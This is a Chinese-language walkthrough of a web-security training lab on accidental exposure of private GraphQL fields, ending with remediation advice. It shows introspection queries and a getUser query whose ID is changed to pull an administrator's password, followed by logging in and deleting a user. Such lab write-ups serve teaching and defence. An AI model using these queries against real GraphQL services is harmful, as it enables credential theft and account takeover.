通过GraphQL API未被净化的参数获取账户密码
字数 1013 2025-08-10 16:34:39
GraphQL API 安全漏洞:通过未净化参数获取账户密码
实验概述
本实验演示了 GraphQL API 中由于参数未正确净化而导致的安全漏洞,攻击者可以利用此漏洞获取敏感用户信息(如账户密码)。实验名称为 "Lab: Accidental exposure of private GraphQL fields"。
前置知识
- GraphQL 参数净化:测试查询参数是否被净化是发现 GraphQL 漏洞的重要起点
- 访问控制漏洞:当 API 直接使用参数访问对象时,可能容易受到此类攻击
- 不安全的直接对象引用 (IDOR):用户可以通过提供特定参数访问不应拥有的信息
内省查询
要发现 GraphQL 架构信息,可以查询 __schema 字段,该字段在所有查询的根类型上可用:
{
"query": "{__schema{queryType{name}}}"
}
实验要求
- 目标:利用 GraphQL 端点中的访问控制漏洞获取管理员凭据
- 最终目标:以管理员身份登录并删除用户 "carlos"
渗透测试步骤
1. 站点分析
- 网站类型:博客系统
- 功能:查看博客、用户登录
- 技术栈:使用 GraphQL 进行博客查看和登录功能
2. 寻找突破口
分析发现登录功能点是潜在的攻击入口。
3. 功能点测试
修改 POST 请求进行根查询
构造查询获取所有根内容:
{
__schema {
types {
name
}
}
}
查询内部所有参数
通过内省查询发现存在 getUser 查询:
{
getUser(id:1) {
username
password
}
}
查询管理员凭据
修改 ID 参数获取管理员账户:
{
getUser(id:1334) {
password
username
}
}
4. 利用获取的凭据
- 使用获取的管理员账号密码登录
- 访问管理面板删除目标用户 "carlos"
5. 使用 InQL 工具辅助
InQL 工具可以直观展示 GraphQL 架构,便于构造攻击查询:
{
"query": "query {\n\tgetUser(id:1334) {\n\t\tpassword\n\t\tid\n\t\tusername\n\t}\n}"
}
漏洞原理
该漏洞属于 GraphQL 字段意外暴露问题,由于:
- 敏感字段(如密码)未被正确限制访问
- 查询参数未进行适当净化
- 缺乏足够的访问控制检查
修复方案
- 禁用内省功能:在生产环境中禁用 GraphQL 内省查询
- 实施字段级权限控制:对敏感字段设置访问权限
- 参数净化:对所有输入参数进行严格验证和净化
- 最小化暴露原则:仅暴露必要的字段和查询
- 使用自定义标量类型:避免直接暴露数据库ID
- 实施查询深度限制:防止过度复杂的查询
总结
本实验展示了 GraphQL API 中常见的访问控制问题,强调了参数净化和字段权限控制的重要性。开发人员应遵循最小权限原则,谨慎设计 GraphQL 架构,避免敏感信息意外暴露。